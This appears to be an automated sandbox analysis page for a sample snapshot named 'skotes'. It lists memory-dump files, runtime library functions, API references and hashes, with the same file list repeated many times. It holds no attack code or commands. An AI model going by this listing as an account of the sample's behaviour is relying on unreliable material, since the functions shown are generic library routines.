Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 00d5c758923bef1f7a47c3cb2a466578739feff1636207ad3661fabae49fd14a
Instruction ID: 63690900126e1eb2c1c283960575bde2dbb2cafc52c4836cf763f67044d218ca
Opcode Fuzzy Hash: 00d5c758923bef1f7a47c3cb2a466578739feff1636207ad3661fabae49fd14a
Instruction Fuzzy Hash: 9CC18971C00A19EFCF25DFA4CC959AEBBB6BF18316F10415AF8026B202D771DA51CB91

Function 00046E00 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00046ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00046F22
std::_Rethrow_future_exception.LIBCPMT ref: 00046F32
__Mtx_unlock.LIBCPMT ref: 00046FD5
__Mtx_unlock.LIBCPMT ref: 000470DB
__Mtx_unlock.LIBCPMT ref: 00047116

Strings

L/ds, xrefs: 00046E14, 00046F54, 00047024

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID: L/ds
API String ID: 1997747980-185251681
Opcode ID: e833f37adda7eeca4bff72ff07c64c8501a954974d0e5d04264bfe316ba99029
Instruction ID: c05c3caeffa06afed6e97144cb8cf696faef5bb59d12ddeecfe1362dee173c6e
Opcode Fuzzy Hash: e833f37adda7eeca4bff72ff07c64c8501a954974d0e5d04264bfe316ba99029
Instruction Fuzzy Hash: 52C1E3F0D05304DBEB20DFA4C945BAEBBF4AF05310F00457EE81697652EB75A908CB66

Function 00064840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00064877
___except_validate_context_record.LIBVCRUNTIME ref: 0006487F
_ValidateLocalCookies.LIBCMT ref: 00064908
__IsNonwritableInCurrentImage.LIBCMT ref: 00064933
_ValidateLocalCookies.LIBCMT ref: 00064988

Strings

L/ds, xrefs: 000648F2, 0006496F
csm, xrefs: 0006491D

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: L/ds$csm
API String ID: 1170836740-2622233379
Opcode ID: 24966e72a87f9197d2be92557f20b0dff643b88f4bf7ed0f87fc003d788c4abf
Instruction ID: 62432fe8882c832574b98db9f08ac82034303d86c89352678fd223244dc4f95f
Opcode Fuzzy Hash: 24966e72a87f9197d2be92557f20b0dff643b88f4bf7ed0f87fc003d788c4abf
Instruction Fuzzy Hash: E841B334E00209AFCF10DF68D884A9EBBF6BF46314F148155E9189B393DB75DA15CBA1

Function 00057364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 000573B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 000573F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0005740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00057419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00057440

Strings

count, xrefs: 0005737E
ppVirtualProcessorRoots, xrefs: 00057438

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: fb6f8849aef4e7fc655c93855b696d84be7ee37e16e9183ebc952eba72360d99
Instruction ID: 2062c6bdc4cdf8155fda8ff006842489c88a7702a735ae83573b5cc984ae29a5
Opcode Fuzzy Hash: fb6f8849aef4e7fc655c93855b696d84be7ee37e16e9183ebc952eba72360d99
Instruction Fuzzy Hash: 8F217134A00209EFDB14EF94D4859EEBBB5BF04311F0440A9ED05A7352CB34AE49DF90

Function 000578E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00057903

Part of subcall function 00055CB8: __EH_prolog3_catch.LIBCMT ref: 00055CBF
Part of subcall function 00055CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00055CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0005792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00057936

Part of subcall function 00055CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00055D70
Part of subcall function 00055CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00055D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00057982
Concurrency::location::_Assign.LIBCMT ref: 000579A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 000579AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 000579BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 000579ED

Part of subcall function 0005691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00056942
Part of subcall function 0005691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00056965

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: d2643b1a30c6f1412bfadda8c32d9536d6d74270c28c11407d91e47b1224d602
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
